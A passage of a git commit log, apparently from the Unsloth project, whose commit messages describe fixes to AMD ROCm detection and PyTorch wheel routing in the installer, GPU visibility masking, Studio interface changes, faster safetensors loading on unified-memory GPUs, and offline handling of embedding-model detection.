* installer: mirror the KFD vendor_id fix in setup.sh + honest CPU-fallback summary

Codex P2 follow-ups:
- studio/setup.sh carried the same dead gpu_id-inside-properties awk, so a
  host install.sh now routes to ROCm still failed setup's independent AMD
  re-probe and got a CPU llama.cpp. Use the same per-line vendor_id 4098
  check.
- When the AMD GPU is detected but the torch index stays CPU, the summary
  printed the old false diagnosis (gpu none / "No GPU detected"). Gate both
  on _has_amd_rocm_gpu and say what actually happened: AMD GPU present, no
  usable ROCm, CPU fallback.
- Structure test asserting setup.sh's KFD awk stays in sync with install.sh.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep KFD-only AMD hosts on the CPU fallback (Codex P2s)

The KFD-topology fix makes _has_amd_rocm_gpu / _setup_amd_detected true on hosts that expose an AMD GPU to the kernel but ship no rocminfo/amd-smi. Detection alone does not mean ROCm is usable or that the gfx arch is known, and two downstream paths wrongly assumed it did:

- studio/setup.sh forwarded --has-rocm with no gfx, so install_llama_prebuilt found no per-gfx bundle and dropped to a HIP source build (slow, or a hard failure without build deps) instead of the CPU prebuilt these hosts used to get. Now --has-rocm is forwarded for a gfx-unknown host only when hipcc is present; otherwise it keeps the CPU prebuilt.

- install.sh get_torch_index_url selected a generic rocmX.Y index whenever the ROCm version was readable, but the Strix reroute only learns gfx from rocminfo/amd-smi, so a Strix KFD-only host landed on the broken _grouped_mm wheels. Now, when neither rocminfo nor amd-smi is present (gfx unknowable), it stays on CPU with a hint to install them.

Detection and the improved diagnostics are unchanged; only the routing for gfx-unknown KFD-only hosts is made safe. Adds tests for both gates.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden KFD-only fallback: probe gfx, accept versioned hipcc (Codex P2s)

Follow-up to the previous commit's two guards:

- install.sh: the KFD-only torch guard tested only 'command -v rocminfo/amd-smi', so a host where those binaries exist but do not enumerate the GPU (gfx unreadable) slipped through and, with hipconfig/rocm-core present, still got a generic rocm index -- breaking Strix. Now it actually reads the gfx (rocminfo, then amd-smi list / static --asic, the same probe the reroute uses) and falls back to CPU whenever the arch is unreadable, not just when the binaries are absent.

- studio/setup.sh: the hipcc gate missed a HIP toolchain installed only under a versioned prefix (/opt/rocm-*/bin/hipcc), which the source build at setup.sh:1663 does support, so such hosts were dropped to the CPU prebuilt unnecessarily. The gate now also accepts /opt/rocm-*/bin/hipcc.

Tests updated to assert the gfx-read (not binary-presence) gate and the versioned hipcc path; full test_rocm_support.py green (347 passed). Verified the gfx probe by execution: rocminfo-with-no-gfx now routes to CPU, amd-smi fallback still resolves gfx.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Honor UNSLOTH_ROCM_GFX_ARCH before the CPU fallback for PR #7314

Seed both the gfx-unknown guard in get_torch_index_url and the Strix reroute
from UNSLOTH_ROCM_GFX_ARCH before probing rocminfo/amd-smi, so a host that
names its arch reaches the correct rocm index instead of being forced to CPU
(or to the generic wheels) when the runtime probes can't enumerate the GPU.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Probe gfx with visibility masks cleared for PR #7314 (Codex P2)

rocminfo/amd-smi honor ROCR/HIP_VISIBLE_DEVICES, so a container that masks the
GPU (e.g. ROCR_VISIBLE_DEVICES=-1) would make the gfx probe read nothing and
force CPU torch, even though the KFD-based AMD detection is env-independent and
hipconfig can still supply the ROCm version. Clear the visibility masks for the
rocminfo/amd-smi arch probe only (the Strix reroute keeps them for per-GPU index
selection), so a masked/container host keeps its ROCm route.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Re-probe gfx unmasked in the Strix reroute when a mask hides all agents for PR #7314 (Codex P2)

* Remove leftover conflict marker from the test merge

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Report an explicit CPU pin instead of a ROCm misdiagnosis for PR #7314 (Codex P3)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trigger the reroute re-probe on a set-but-empty visibility mask for PR #7314 (subagent review)

* Guard the ROCm version chain against set -e when no source exists for PR #7314 (simulation find)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Preserve the inferred-gfx reroute for KFD-only hosts (Codex P2)

The gfx-unknown CPU guard in get_torch_index_url fired before the
runtime-less reroute could run: with the KFD topology fix,
_has_amd_rocm_gpu is true on KFD-only hosts, so the reroute's
'! _has_amd_rocm_gpu' gate never let _infer_linux_amd_gfx_arch route
them to AMD per-arch wheels, regressing inferable boxes (PCI/cpuinfo/
lspci) from arch-specific PyTorch to CPU-only.

- Factor the override->rocminfo->amd-smi gfx probe (masks cleared)
  into _probe_amd_gfx_arch, shared by the guard and the reroute gate
  so the two can't disagree on what 'readable' means.
- Reroute gate now also fires when the GPU is detected but the probe
  is empty (KFD-only). Deliberate CPU fallbacks (old/unreadable ROCm
  version) all had a readable gfx and stay excluded.
- The guard defers to the reroute (no false 'installing CPU-only
  PyTorch' promise) only when inference yields a supported family;
  otherwise the actionable CPU warning is unchanged.

Executed tests: KFD-only host reroutes to repo.amd.com per-arch wheels
and exports UNSLOTH_ROCM_GFX_ARCH for setup.sh; readable-gfx CPU
fallback stays un-rerouted; undetected-GPU reroute unchanged; the
guard's three inference outcomes covered. Suite: 375 passed, bash -n
clean on both scripts.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix two false diagnostics on the KFD-only paths (Codex P3s)

1. get_torch_index_url: with UNSLOTH_ROCM_GFX_ARCH set on a KFD-only
   host that has no ROCm version sources, the no-version endpoint
   printed 'falling back to CPU-only PyTorch' even though the reroute
   (gated on the override) then installs the per-arch wheels. When the
   override maps to a wheel family, defer with an accurate message;
   an unmappable override keeps the CPU warning since the reroute
   can't route it either.

2. Runtime-less reroute: the KFD-only branch reached the warning
   'ROCm runtime not visible (/dev/kfd, rocminfo, amd-smi)' although
   /dev/kfd is exactly what detected the GPU. The diagnostic now
   distinguishes KFD-visible/tooling-blind hosts from truly
   runtime-invisible ones.

Executed tests: supported override defers without the false CPU
warning, unsupported override and readable-gfx no-version hosts keep
it; KFD-only reroute emits the KFD wording, undetected-GPU reroute
keeps the original. Version sources are shimmed so the tests hold on
dev boxes with a real hipconfig. Suite: 376 passed, bash -n clean.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-23 00:42:03 -07:00
Nilay
bfb6b9600c
Studio: fix stuck composer prompt on first send and unreachable --secure Cloudflare links (#7340)
* Studio: clear composer draft on send

* Studio: verify the Cloudflare link is reachable before printing it

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: wait for tunnel DNS propagation before verifying the public URL

* Studio: bound tunnel DNS wait and health probe by one deadline

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep composer draft when overlay send validation fails

* Studio: retry transient DoH failures while waiting for tunnel DNS

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-23 00:39:14 -07:00
oobabooga
d59c7bfd03
Studio: prevent login error text clipping (#7343) 2026-07-23 01:56:14 -03:00
oobabooga
6f4c838281
Studio: calibrate Linux chat typography against macOS (#7337) 2026-07-23 01:55:45 -03:00
Souravrajvi0
978ae4745b
fix(install): infer Strix gfx when ROCm runtime is absent (#7305)
* fix(install): infer Strix gfx when ROCm runtime is absent

When /dev/kfd and rocminfo are missing on Linux (e.g. Arch/CachyOS Strix
Halo), route to AMD per-arch wheels via cpuinfo/lspci inference instead
of CPU-only PyTorch. Mirrors install.ps1 Windows behavior and fixes
studio update via install_python_stack.py (unslothai#7301).

* Map Radeon 8065S to gfx1151 in the Linux gfx inference (Codex P2)

install.sh _infer_amd_gfx_arch_from_gpu_name missed 8065S, so a Strix Halo host that only exposes 'AMD Radeon 8065S' via lspci (no Ryzen AI Max branding in /proc/cpuinfo) was left on CPU torch. setup.sh and setup.ps1 already list 8065S -> gfx1151. Added it, and widened the cpuinfo regexes (install.sh and install_python_stack.py) from Radeon 80[0-9]0S to 80[0-9][05]S to match the 80X5S naming, consistent with the display-side check already in install.sh. Tests cover the 8065S name and the cpuinfo-only case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate the Linux gfx inference out of WSL without the ROCDXG runtime for PR #7305

On WSL /proc/cpuinfo and lspci still see the host APU, so a standalone
'unsloth studio update' could infer gfx1151 and install per-arch ROCm wheels
into a WSL env whose ROCDXG bridge (librocdxg) was never bootstrapped, i.e. one
that cannot expose the GPU. Skip the cpuinfo/lspci inference on WSL unless
librocdxg is present; an explicit UNSLOTH_ROCM_GFX_ARCH override still wins.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address Codex review on PR #7305 (WSL runtime gate, Linux mirror, arch guard)

- install.sh _infer_linux_amd_gfx_arch: skip the cpuinfo/lspci inference on WSL
  unless librocdxg is present (the ROCDXG bridge), mirroring the Python fix, so a
  WSL box whose ROCm bootstrap was skipped keeps the CPU fallback instead of
  installing AMD wheels that cannot reach the GPU. The explicit UNSLOTH_ROCM_GFX_ARCH
  override still returns first, so it stays authoritative.
- install.sh: guard the inferred-gfx reroute on x86_64|amd64. ROCm torch wheels are
  not published for arm64, so an inferred/overridden gfx no longer pushes an arm64
  host to the AMD arch index (get_torch_index_url returns CPU there).
- install_python_stack.py _amd_arch_index_url: honour UNSLOTH_AMD_ROCM_MIRROR on
  Linux (the same var install.sh uses) instead of the Windows mirror var, so a
  mirrored/air-gapped Linux 'unsloth studio update' reaches the index install.sh
  chose. Windows still delegates unchanged; both default to repo.amd.com.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scan all AMD display controllers in the lspci fallback for PR #7305 (Codex P2)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio): keep inferred AMD wheels from being overwritten

After a successful inferred-gfx install, skip the generic pytorch.org
ROCm reinstall so readable ROCm userland without /dev/kfd cannot undo
the per-arch repair (Codex P1 on #7305). Also merge latest main.

* Only take the inferred-gfx install when the runtime sees no GPU for PR #7305 (Codex P1)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Isolate three updater tests from the host cpuinfo for PR #7305 (Strix dev box leak)

* Gate the reroute on invisible ROCm and forward the inferred gfx to setup.sh for PR #7305 (Codex P2s)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Require AMD PCI display evidence for cpuinfo inference; honor gfx override with visible ROCm for PR #7305 (Codex P2s)

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
2026-07-22 20:16:45 -05:00
Guerriero Riccardo
c267895538
Studio: mask AMD GPU pins via ROCR so an unsupported iGPU can't crash llama-server (#7272)
* Studio: mask AMD GPU pins via ROCR so an unsupported iGPU can't crash llama-server

On a mixed AMD host (e.g. a discrete gfx1102 GPU next to a gfx1103 iGPU)
the bundled rocm-gfx110X llama.cpp build segfaults during HSA device
enumeration on the unsupported iGPU -- before llama-server prints a line,
so every model load fails with a bare signal and empty logs.

The GPU-subset pin masked visibility with HIP_VISIBLE_DEVICES, but HIP
filtering runs only after the HSA runtime has already enumerated (and
crashed on) every agent. Mask the subset via ROCR_VISIBLE_DEVICES (the
ROCr/HSA layer) instead, so a deselected/unsupported GPU is never
enumerated. Exactly one layer is masked (HIP cleared) to avoid the
double-mask reindex that would otherwise drop the child to CPU. The
whole-set tensor-split path and the CPU-only sentinel keep their existing
HIP behavior.

Also stop misreporting the resulting startup segfault as a vision
projector incompatibility: when the text-only mmproj retry also hard-
crashes with a signal, surface a GPU/driver init crash (with the ROCR
hint) instead of blaming the projector.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten _emit_child_gpu_visibility comments for #7272

Comment and docstring only: condense the ROCR-vs-HIP masking rationale from ~22 to ~14 lines and the call-site note from 5 to 3, keeping every technical point (HSA enumeration segfault, physical ids, the -1 sentinel). Logic is unchanged, verified by an AST compare with docstrings stripped and by exercising _emit_child_gpu_visibility against a torch/HIP stub.

* Detect AMD SDK ROCm wheels (hip=None) in _emit_child_gpu_visibility (Codex P2)

The ROCm branch gated only on torch.version.hip, but AMD SDK wheels leave that unset while encoding 'rocm' in __version__ (detect_hardware handles this the same way). On such a wheel the masking was skipped entirely, leaving only CUDA_VISIBLE_DEVICES, so on a mixed AMD box the unsupported deselected iGPU still enumerated and could crash llama-server. Now the branch also treats 'rocm' in torch.__version__ as ROCm, mirroring detect_hardware. Adds tests for the hip=None SDK wheel (ROCR + default paths) and a CUDA guard so the version-string check can't false-positive.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Remap CUDA_VISIBLE_DEVICES to post-ROCR ordinals on prefer_rocr for PR #7272 (Codex P1)

On the prefer_rocr path _emit_child_gpu_visibility set ROCR_VISIBLE_DEVICES to the
physical id and cleared HIP_VISIBLE_DEVICES, but left CUDA_VISIBLE_DEVICES at the
physical id. ROCR re-indexes the visible agents from 0 and, with HIP cleared, HIP
honours CUDA_VISIBLE_DEVICES -- so a non-zero pick (e.g. GPU 1) pointed out of
range, HIP saw 0 devices, and the child fell back to CPU, defeating GPU-picker
selections other than physical GPU 0. Remap CUDA to the post-ROCR ordinals
(0..N-1); GPU 0 is unchanged, the default (HIP) path and the CPU sentinel are
untouched, and non-AMD wheels never enter this branch.

* Detect AMD SDK wheels in _resolve_visible_physical_ids for PR #7272 (Codex P2)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep the HIP mask on Windows ROCm in prefer_rocr for PR #7272 (Codex P2)

* Ignore ROCR_VISIBLE_DEVICES in _resolve_visible_physical_ids on Windows for PR #7272 (Codex P2)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Preserve inherited ROCR masks in the tensor-split pin for PR #7272 (Codex P2)

---------

Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Leo Borcherding <borchborchmail@gmail.com>
2026-07-22 20:16:25 -05:00
Michael Han
fdf2df4edf
Studio: reorder sidebar, rename Hub to Models (#7327)
* Studio: put Hub above Projects in the sidebar

Swap the two nav rows so Hub sits directly under New Chat, ahead of
Projects. Order only, no behavior change.

* Studio: rename Hub to Models, lowercase New chat

Rename the Hub nav row and its page heading to Models (localized in all
locales). Use sentence case 'New chat' in the English label.

* Studio: fix dataset title and stale Hub tab hints after rename

Show 'Datasets' as the catalog heading in dataset mode, not 'Models'.
Update the download-conflict toasts to point at the Models tab.
2026-07-22 06:34:02 -07:00
oobabooga
36ec2cc046
Studio: lighten chat text weight on Linux to match macOS rendering (#7308)
* Studio: lighten chat text weight on Linux to match macOS rendering

* Exclude custom interface fonts from the Linux chat weight compensation

* Simplify Linux chat font weight override
2026-07-22 06:14:40 -07:00
Daniel Han
4759a5139d
Faster safetensors weight loading on unified-memory (integrated) GPUs (#5988)
* Faster safetensors weight loading on unified-memory (integrated) GPUs

On unified-memory GPUs (AMD APUs / "Strix Halo", NVIDIA GB10 "Spark", Intel
iGPUs) the GPU shares the system memory pool. PyTorch's fast pinned-DMA
host->device path does not recognize the Rust-allocated, mmap-backed buffers
that safetensors hands back, so a direct safetensors GPU load
(`safe_open(..., device=<cuda>)`) drops onto a slow per-tensor copy that, on
unified memory, additionally triggers page-attribute changes and page faults.

Wrap `transformers.modeling_utils.safe_open` so that, when transformers asks it
to load a shard directly onto a CUDA/HIP device, the shard is opened on CPU and
each tensor is `.clone()`-d into a normal torch allocation before `.to(device)`.
This restores the fast DMA path. Data, dtype and final device are unchanged, so
outputs are bit-identical -- only *how* the bytes reach the GPU changes.

Strictly gated to integrated/unified-memory GPUs via the standard `is_integrated`
device property (every visible device must be integrated): a hard no-op on
discrete NVIDIA/AMD GPUs, CPU, XPU and MLX, where the pinned-DMA path already
works. Only intercepts `framework="pt"` CUDA-device targets; CPU / disk-offload
loads are left untouched. Accuracy-neutral, idempotent, opt out with
UNSLOTH_DISABLE_UMA_CLONE_LOAD=1 (force the gate for tests with
UNSLOTH_FORCE_UMA=1/0).

This is the AMD/universal-UMA counterpart to the NVIDIA DGX Spark work in #5945
(which deliberately left the H2D clone-then-move out): gating on `is_integrated`
covers AMD Strix Halo, Intel iGPUs and Spark-class parts alike.

Verified on an AMD Radeon 8060S (gfx1151, Strix Halo) Windows ROCm box with
in-process, ordering-cancelled A/B benchmarks:
  - H2D mechanism (safe_open device=0 vs cpu->clone->.to(0)): 2.08x faster
    (1.076s -> 0.518s for a 988MB bf16 shard)
  - full `from_pretrained`: 1.56x faster (1.552s -> 0.996s), saving 0.555s --
    matching the H2D delta exactly
  - max|logit diff| stock vs patched == 0.0 (bit-identical), generate + a LoRA
    train step both verified
The absolute/relative win grows with bf16/fp16 weight volume (the same trick is
reported as ~2.3-2.75x on NVIDIA GB10 Spark for larger models).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: evaluate the integrated-GPU gate lazily, not at import (Gemini review)

patch_unified_memory_safetensors_load() called
is_integrated_unified_memory_gpu() at install time, and the gate queries
torch.cuda.get_device_properties() for every visible device -- initializing
the CUDA context during `import unsloth` on every CUDA machine (discrete
included). That (a) breaks fork-based multiprocessing, (b) runs BEFORE
patch_dgx_spark_memory_config can set PYTORCH_CUDA_ALLOC_CONF on Spark,
defeating that patch's expandable_segments config in the very environment
this PR targets, and (c) charges a CUDA context to CPU-only imports.

The gate now runs lazily inside the wrapper, ordered AFTER the
framework/device check so non-CUDA loads never trigger the property query;
a CUDA-target safe_open means the caller is initializing CUDA anyway, and
the gate is lru-cached so it is evaluated once. The wrapper installs
unconditionally (opt-out and idempotency unchanged) and passes through when
the gate is off.

Tests: install-time no-eval guarantee (gate raises if called during
install), wrapper passthrough with the gate off, all previous gating /
passthrough / CUDA correctness tests kept -- 16/16 pass. Verified on the
N1X (WSL2): module exec + patch install leave torch.cuda.is_initialized()
unchanged; CPU loads pass through; forced CUDA-target loads intercept and
land bit-identical on the GPU.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* Compress PR comments to essentials (comment-only; AST-verified)

Docstrings and the _utils hook comment trimmed to their load-bearing
content (lazy-gate rationale, gating scope, opt-out env). AST dumps
with normalized docstrings are identical before/after for all three
files; the module's 16 unit tests pass unchanged.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs: tighten the UMA-load import comment (no code change)

* Tighten and trim code comments

* Drop unused is_integrated_unified_memory_gpu import from _utils.py

The UMA hook only needs patch_unified_memory_safetensors_load(); the
gate symbol is imported and used from ._uma_safetensors directly, so the
hoisted alias here was dead and tripped the import-hoist safety-net lint.

* Scope the UMA loader docstring to CUDA/HIP direct-device loads

The module text claimed Intel iGPU coverage, but the gate and device check
are CUDA/HIP only, and the clone path only wraps safe_open calls that carry
a CUDA device. State the actual scope and name the deliberate exclusions
(Intel XPU, CPU-open + .to() flows like bnb/HQQ) until they can be validated
on real hardware. Comment-only change.

* Tighten UMA safetensors loader comments

Trim the inline comments in the UMA clone-then-move path and the
_utils.py install site to be shorter and clearer. No code changes.

* uma: fall back to the direct move when the clone cannot allocate

The clone-and-move fast path transiently doubles one tensor's CPU
footprint while the mmap source and the CUDA destination are live. On a
UMA box with little free shared memory a large tensor could OOM where
the stock direct safe_open path would have loaded it. Both move sites
now go through a helper that catches the allocation failure and falls
back to the direct (slow but allocation-free) move, so the load always
succeeds; a genuine non-memory error re-raises identically from the
fallback.

Added a test that forces the clone to fail and verifies the wrapper
still lands tensors on the device with intact values (17 tests pass on
a real GPU).

* tests: track the moved pass-through inheritance in the gguf order check

Main moved the llama_extra_args pass-through inheritance out of the
GGUF branch into _resolve_inherited_extra_args, which runs before it,
so the source-order assertion's "if request.llama_extra_args is None"
anchor no longer exists inside the branch and the check failed after
the main merge. The test now asserts the same property in the current
shape: inheritance before the GGUF branch (a carried --no-mmproj still
shapes the hub guard's companion requirement), and marker, hub guard,
unload in order within the branch. Full file passes (32 tests).

* tests: anchor the inheritance order check on the call, not the definition

source.index("_resolve_inherited_extra_args(") matched the function
definition, which always precedes the endpoint, so the ordering
assertion was vacuously true. Anchoring on "= _resolve_inherited_
extra_args(" pins the first call site inside the load endpoint (line
4505), which is the statement whose position relative to the GGUF
branch the test is meant to guard. 32 tests pass.

* tests: align the gguf order test with main

Main fixed the stale ordering assertion in PR 7252; adopting its
version verbatim removes this file from the branch diff entirely and
avoids a conflict on the next main merge. 32 tests pass.

* uma: tighten comments

* Relicense UMA safetensors module and test under AGPL-3.0

---------

Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-22 05:20:59 -07:00
Souravrajvi0
84b762228c
fix(install): route Strix to AMD gfx index on ROCm 7.14 (#7300)
* fix(install): route Strix to AMD gfx index on ROCm 7.14

When ROCm 7.3+ caps to the generic pytorch.org rocm7.2 index (or the
Radeon repo is unavailable), gfx1150/gfx1151 hosts were left on
torch 2.11+rocm7.2 instead of AMD's arch-specific wheels. Broaden the
Strix reroute in install.sh and studio/install_python_stack.py so
`studio update` repairs the same path as fresh installs (unslothai#7280).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-22 05:03:51 -07:00
Daniel Han
968e6230a0
Unsloth start: add local subagents for Claude Code, Codex, OpenCode and Pi (#7326)
Bring the local-subagent support onto main. The original change (#7316) merged
into the stacked pr/daniel-unsloth-start-audit branch rather than main, and #7313
reached main via squash, so these files never landed on main.

Adds --as-subagent for claude, codex, opencode and pi: the parent agent keeps its
own cloud model while a locally served GGUF is registered as a delegated subagent,
using ephemeral per-session config that never touches the user's real agent config.
2026-07-22 04:34:58 -07:00
Hakan Baysal
aa49c0710e
studio: classify embedding models from the HF cache and honor offline mode (#7218)
* studio: classify embedding models from the HF cache and honor offline mode

is_embedding_model() went straight to huggingface_hub.model_info() for any repo
id, so in offline mode (no DNS, or HF_HUB_OFFLINE set) selecting an
already-downloaded model hung on network retries that could never succeed and
training/export never started (#6817).

Check the local HF cache first: a sentence-transformers repo carries
modules.json in its snapshot (the same marker used for local paths), so a cached
model is classified with no network call. When HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE
is set, anything not positively an embedding model returns False without a
network call instead of retrying a doomed request. Online, uncached lookups still
fall through to model_info(), so tag-only embedding models (feature-extraction)
are unaffected.

Adds _embedding_marker_in_hf_cache() over the existing _iter_hf_cache_snapshots.

* studio: judge the active cached revision, harden the cache probe, stop stub leaks

Three review fixes on the cache-first embedding detection:

1. Prefer the revision refs/main resolves to. The HF cache keeps snapshots of
   older revisions, so an any-snapshot scan could classify a repo by a stale
   revision -- e.g. a repo that used to be a sentence-transformers model would
   short-circuit even the online lookup. When refs/main is recorded, only its
   snapshot is consulted; the newest-first scan remains the fallback for caches
   with no ref.

2. Keep the cache probe inside the detection error boundary. The snapshot
   iterator stat()s entries and could raise if a cached model is deleted
   concurrently, propagating a 500 out of the config/check-embedding routes.
   _embedding_marker_in_hf_cache now catches everything and reads as
   not-cached, so callers keep their normal Hub/offline fallback.

3. Stub loggers/structlog in the test only when the real modules are absent
   (try-import, mirroring test_windows_gpu_detection_mock), so collecting this
   file first can no longer shadow the real packages for later tests in the
   same pytest process.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: treat a missing active-ref snapshot as a cache miss, don't cache offline misses

Two review fixes on the cache-first embedding detection:

1. When refs/main is recorded but points at a commit whose snapshot dir is
   absent (partial download / cache pruning), the recorded ref is still
   authoritative: return None (cache miss) instead of falling through to scan
   older snapshots, which could report a stale historical revision's
   modules.json as the active one -- the same stale-cache class this helper
   avoids.

2. Do not cache the offline negative. When HF_HUB_OFFLINE/TRANSFORMERS_OFFLINE
   is set and the repo is not positively an ST model from modules.json,
   is_embedding_model stored False under the (model_name, hf_token) key shared
   with online lookups; after the env var cleared in the same process, a
   tag-only (feature-extraction) embedder returned the cached False and never
   reached model_info(). The offline negative is now returned without caching.

* studio: defer online embedding detection to the Hub, re-probe offline

The local modules.json marker short-circuited is_embedding_model() even
online, so a repo that dropped (or added) the marker since it was cached
was judged by its stale local revision instead of the current remote one.
Online now treats model_info() as authoritative and uses the cache marker
only as an uncached fallback when the Hub is unreachable, so a transient
failure never poisons the memo. Offline re-probes the marker on every call
without consulting or populating the memo, so a model downloaded later in
the session (or a cached online negative that predates the download) is
detected. _embedding_marker_in_hf_cache() now treats an unreadable refs/main
(a non-FileNotFoundError OSError) as a cache miss rather than scanning stale
history -- only a genuinely missing ref enables the fallback scan.

* studio: harden offline embedding detection against empty refs, offline flips, and cache casing

- _embedding_marker_in_hf_cache: an existing-but-empty/whitespace refs/main
  (a partial write or in-progress truncate-and-rewrite) now reads as a cache
  miss (None) instead of falling through to scan stale snapshots; only a
  genuinely missing ref enables the historical scan.
- is_embedding_model: while offline, retain a positive already confirmed online
  this session (model_info only ever memoizes Hub-derived results), so
  _hf_offline_if_dns_dead() flipping the process to offline mid-load can't
  downgrade a verified tag-only embedder to False. Cached negatives are still
  bypassed and re-probed.
- resolve_cached_repo_casing + settings route: persist the embedding model in
  the casing its local HF cache dir uses. Validation accepts a case-insensitive
  cache hit, but an offline SentenceTransformer load resolves the cache by exact
  case, so storing the requested spelling (baai/bge-m3 vs models--BAAI--bge-m3)
  made the model fail to load on a case-sensitive filesystem.

* studio: reuse the exact-match-first case resolver and preserve the default

Replace the ad-hoc resolve_cached_repo_casing with the existing
resolve_cached_repo_id_case, which already prefers the exact-case cache dir
before any case variant and tie-breaks variants deterministically -- so an
exact requested id is never rewritten to a differently cased directory just
because iterdir() happened to yield it first.

Skip the normalization entirely when the submitted model equals the default:
rewriting its casing would make set_rag_embedding_model()'s exact-string
default comparison treat it as a custom override, pinning it so later changes
to the configured default stop taking effect.

* studio: don't let a stale cache marker mask a permanent Hub error

is_embedding_model's Hub-failure fallback consulted the local modules.json
marker for ANY model_info() exception, so a permanent error -- a deleted repo,
a gated repo without credentials, or a typo that matches stale cache casing --
could pass online validation on a stale marker instead of returning the
documented 409, and the persisted model could then fail when the loader
refreshes from the Hub. Classify permanent Hub errors (RepositoryNotFound,
GatedRepo, RevisionNotFound, EntryNotFound) as False, matching the nearby
GGUF/vision detectors, and reserve the cache fallback for transient/5xx failures.

* studio: honor TRANSFORMERS_OFFLINE in the embedding preflight, skip casing for local paths

- The embedding-model save reached the offline-aware is_embedding_model() only
  after two preflight helpers made direct huggingface_hub calls that honor just
  HF_HUB_OFFLINE: _st_module_subdirs() downloads modules.json and the security
  scan fetches Hub metadata twice. In a TRANSFORMERS_OFFLINE-only session those
  blocked on network timeouts before the offline return, so saving an already
  cached model stalled. Both now consult a canonical hf_env_offline() helper --
  the download passes local_files_only, and the metadata-only security scan
  short-circuits to its documented fail-open instead of burning both timeouts.

- Skip cache-casing normalization for local paths: a relative directory such as
  "org/model" is loaded from disk, so rewriting it to a case-insensitive HF
  cache collision ("Org/model") would stop resolving to that directory and be
  read as a Hub repo id instead.

* studio: never skip the security scan on TRANSFORMERS_OFFLINE alone

The previous commit skipped the Hub security scan whenever either offline flag
was set, but huggingface_hub honors only HF_HUB_OFFLINE: under a
TRANSFORMERS_OFFLINE-only session the later SentenceTransformer load still
reaches the network, so the scan was being skipped while the repo's pickle could
still be downloaded and deserialized -- waving through exactly what
_guard_model_security exists to block.

Split the flags: hf_hub_offline() (HF_HUB_OFFLINE, the only one that actually
prevents a fetch) gates the security short-circuit, while hf_env_offline()
(either flag, the user's intent) is used only where local-only behavior is
forced explicitly. The SentenceTransformer load now passes local_files_only from
that intent, so TRANSFORMERS_OFFLINE genuinely stops the loader fetching instead
of merely being assumed to.

* studio: short-circuit the security preflight under either offline flag

With the loader now pinned to the local cache by local_files_only =
hf_env_offline(), a TRANSFORMERS_OFFLINE-only session can no longer fetch
anything -- yet the preflight still fell through to two model_info() attempts on
10s and 20s timeouts, stalling every save and load of an already-cached embedder
for half a minute before failing open anyway.

Skip the metadata-only scan whenever either flag is set. The scan's job is to
stop a poisoned pickle being downloaded and deserialized, and nothing can be
downloaded under that predicate; the residual case -- a model cached BEFORE it
was flagged -- is the same fail-open this function has always documented for an
unavailable scan, and is exactly what HF_HUB_OFFLINE already did.

That safety argument depends on every loader behind the gate honoring the same
predicate, so it is pinned as a test invariant instead of a comment: removing
local_files_only from the SentenceTransformer construction now fails the suite.
